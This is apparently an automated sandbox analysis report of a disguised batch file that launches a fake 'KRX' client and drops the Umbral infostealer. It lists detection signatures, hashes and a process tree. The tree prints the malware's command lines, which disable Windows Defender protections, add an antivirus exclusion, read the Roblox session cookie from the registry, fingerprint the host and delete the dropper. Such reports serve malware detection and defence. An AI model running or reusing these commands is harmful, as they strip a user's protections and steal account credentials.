Analysis

  • max time kernel
    145s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250129-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-02-2025 18:49

General

  • Target

    krx/.RUN THIS SCRIPT TO START KRX.bat

  • Size

    348B

  • MD5

    208fd017fc655c28b29d21fd3f2f7807

  • SHA1

    9909f1316a2db084c659660a8e4a9eb024523de0

  • SHA256

    0d85ab947bc0b645e5bf7236b6b5731e400d25b5b3e011342263f9f2e23c4074

  • SHA512

    51ce02366c1eaa0a37c9526c4fba52ccd7e6d35624f30708a4c12ed81891021ed83649009e5b0b26928b54fb2890339cd30417317354cf684c6dd8a7d0292f43

Malware Config

Signatures

  • Detect Umbral payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unexpected DNS network traffic destination 24 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\krx\.RUN THIS SCRIPT TO START KRX.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4216
    • C:\Windows\system32\openfiles.exe
      openfiles
      2⤵
        PID:1392
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\krx\.crack.ps1"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3268
      • C:\Windows\system32\ipconfig.exe
        ipconfig /flushdns
        2⤵
        • Gathers network information
        PID:2324
      • C:\Users\Admin\AppData\Local\Temp\krx\krx\KRX Client.exe
        "C:\Users\Admin\AppData\Local\Temp\krx\krx/KRX Client.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3984
        • C:\Users\Admin\AppData\Local\Temp\Umbral.exe
          "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
          3⤵
          • Drops file in Drivers directory
          • Executes dropped EXE
          • Unexpected DNS network traffic destination
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1220
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" csproduct get uuid
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4560
          • C:\Windows\SYSTEM32\attrib.exe
            "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
            4⤵
            • Views/modifies file attributes
            PID:1708
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4212
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:3996
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:3776
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3492
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" os get Caption
            4⤵
              PID:1124
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic.exe" computersystem get totalphysicalmemory
              4⤵
                PID:4932
              • C:\Windows\System32\Wbem\wmic.exe
                "wmic.exe" csproduct get uuid
                4⤵
                  PID:3912
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3340
                • C:\Windows\System32\Wbem\wmic.exe
                  "wmic" path win32_VideoController get name
                  4⤵
                  • Detects videocard installed
                  PID:3416
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
                  4⤵
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:3436
                  • C:\Windows\system32\PING.EXE
                    ping localhost
                    5⤵
                    • System Network Configuration Discovery: Internet Connection Discovery
                    • Runs ping.exe
                    PID:2492
              • C:\Users\Admin\AppData\Local\Temp\KRX Client.exe
                "C:\Users\Admin\AppData\Local\Temp\KRX Client.exe"
                3⤵
                • Executes dropped EXE
                PID:3116

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            3KB

            MD5

            84ad5ddb8558903f27ae91fe0564e7e1

            SHA1

            834133d4eeb2f4b2d793aa7994c57b015ab03d8a

            SHA256

            70d66b78d8176bbd71e89c07e16e9551b8ef848a0157216dc94ceaab66ef2930

            SHA512

            9c564f1ad5cc23a0ad1a0fb1b909f009e41b0ff3e7cdc3f7736622224cd8a49d0c8ad983ebaf3e745bfaf862dc0e7af6820082262a43c413dc7ef3d5af58f864

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            88be3bc8a7f90e3953298c0fdbec4d72

            SHA1

            f4969784ad421cc80ef45608727aacd0f6bf2e4b

            SHA256

            533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

            SHA512

            4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            58b80fe8da7d23cd3c9707f4ce93457e

            SHA1

            7d1c58b992631d82cabd38d738ccca072c91c124

            SHA256

            4479db3e2faf952801a1506140f3612e267e9bb4f5d509b0d63204429de8eef3

            SHA512

            82ef5d29aaf46b5fef467185193f03612058c4bbd7b9926293a79c18deefe137811f95dc59feaa649376c8711ca3253177177b538d2d953147db1ed719cba5e8

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            ff6837784a99db93a1d32e46cb227957

            SHA1

            08c92fd93ad9b8165d4995d4870c2bb1321fc42d

            SHA256

            ef4b3775354fc119bd97b21a94c2574b7fc25c34eb8441b2d991e60ce8c9cb2c

            SHA512

            47c6a242699bf782a64b86a52a3469c00750367b7e51748004e73b231310a5f5b359ed54fabb0a1578a79edd41e50beece70504314f5e22458ab910d86adfc45

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            cd4f5e7eec9590106d12b9c97cb59d87

            SHA1

            b9ef9ec6d5e273dd7226a3397ad6f86d0e6de528

            SHA256

            bc806f4c8e4f4b40a93e61e284a3a2986503eeadc2606cb8f14bc51b7ed877b5

            SHA512

            94979aa70be90efe65fe8d96af3a71e28d4dfc4355b9473cc9290029cc1154f61f4af38826872f894b3203e05fa45ef59c1598fd0a110fcc6653c03c4258ae1f

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            948B

            MD5

            b0dc7c3718882fe730dbbc1b681bfc49

            SHA1

            03a9c793855b3fc4a82d48a70841ab547cfb9943

            SHA256

            05b199d4f0d7025646593db4f3d2a22a44e4e64438668d34ec6a3a31afe249bb

            SHA512

            c927720f5387ba226136b57bce9fb7f37917478d42a466aa9b175561bb5aae6837f82b3b45a3b285460cecffd40742302ce607c58dea83b8a8704eef783c9601

          • C:\Users\Admin\AppData\Local\Temp\KRX Client.exe

            Filesize

            13.4MB

            MD5

            7907e9406015ceba49d7f1156f032ac8

            SHA1

            a8034055f4358c1d687b3c2c70c588f37982fa88

            SHA256

            fc59d043ebbf8e3225f399030bc6447a0592e992bcb57a08d769c35934335de3

            SHA512

            bff798c9a2301120c343e7108a857dc2a78e5c18fa5fbc06d71ada65f96adbff3ce47e3ffbf51c13db50f0c09ae6d0bcad4a2abe3911e0bd0b2a1b816c0685a9

          • C:\Users\Admin\AppData\Local\Temp\Umbral.exe

            Filesize

            231KB

            MD5

            39866481d5925ad5fb5a6c72bc51c3c5

            SHA1

            6c646ec853a4178e219c73cd1788d3f51623099d

            SHA256

            38042abd98755c213a6f36e5c79d23e7d09b56495b29daab3e89fcdccde80ad2

            SHA512

            daca18d9d9132ffe07b142a80148aa98575c72052de8bd18115f85adcac1ed8b6f990a85d3076a9c88e934694ae8ba19b58eb6cf81bc27a3c84480c3e853779d

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lohk0vwg.yt4.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/1220-69-0x000001D777E60000-0x000001D777E7E000-memory.dmp

            Filesize

            120KB

          • memory/1220-31-0x000001D7754F0000-0x000001D775530000-memory.dmp

            Filesize

            256KB

          • memory/1220-68-0x000001D777DF0000-0x000001D777E40000-memory.dmp

            Filesize

            320KB

          • memory/1220-67-0x000001D777D70000-0x000001D777DE6000-memory.dmp

            Filesize

            472KB

          • memory/1220-105-0x000001D7772A0000-0x000001D7772AA000-memory.dmp

            Filesize

            40KB

          • memory/1220-106-0x000001D777D30000-0x000001D777D42000-memory.dmp

            Filesize

            72KB

          • memory/1220-124-0x000001D7779A0000-0x000001D777AA2000-memory.dmp

            Filesize

            1.0MB

          • memory/3116-41-0x0000000140000000-0x0000000142086000-memory.dmp

            Filesize

            32.5MB

          • memory/3268-0-0x00007FF9B4753000-0x00007FF9B4755000-memory.dmp

            Filesize

            8KB

          • memory/3268-18-0x00007FF9B4750000-0x00007FF9B5211000-memory.dmp

            Filesize

            10.8MB

          • memory/3268-14-0x0000022C5B4F0000-0x0000022C5B500000-memory.dmp

            Filesize

            64KB

          • memory/3268-15-0x0000022C5B520000-0x0000022C5B53A000-memory.dmp

            Filesize

            104KB

          • memory/3268-13-0x00007FF9B4750000-0x00007FF9B5211000-memory.dmp

            Filesize

            10.8MB

          • memory/3268-12-0x00007FF9B4750000-0x00007FF9B5211000-memory.dmp

            Filesize

            10.8MB

          • memory/3268-11-0x00007FF9B4750000-0x00007FF9B5211000-memory.dmp

            Filesize

            10.8MB

          • memory/3268-1-0x0000022C5AFE0000-0x0000022C5B002000-memory.dmp

            Filesize

            136KB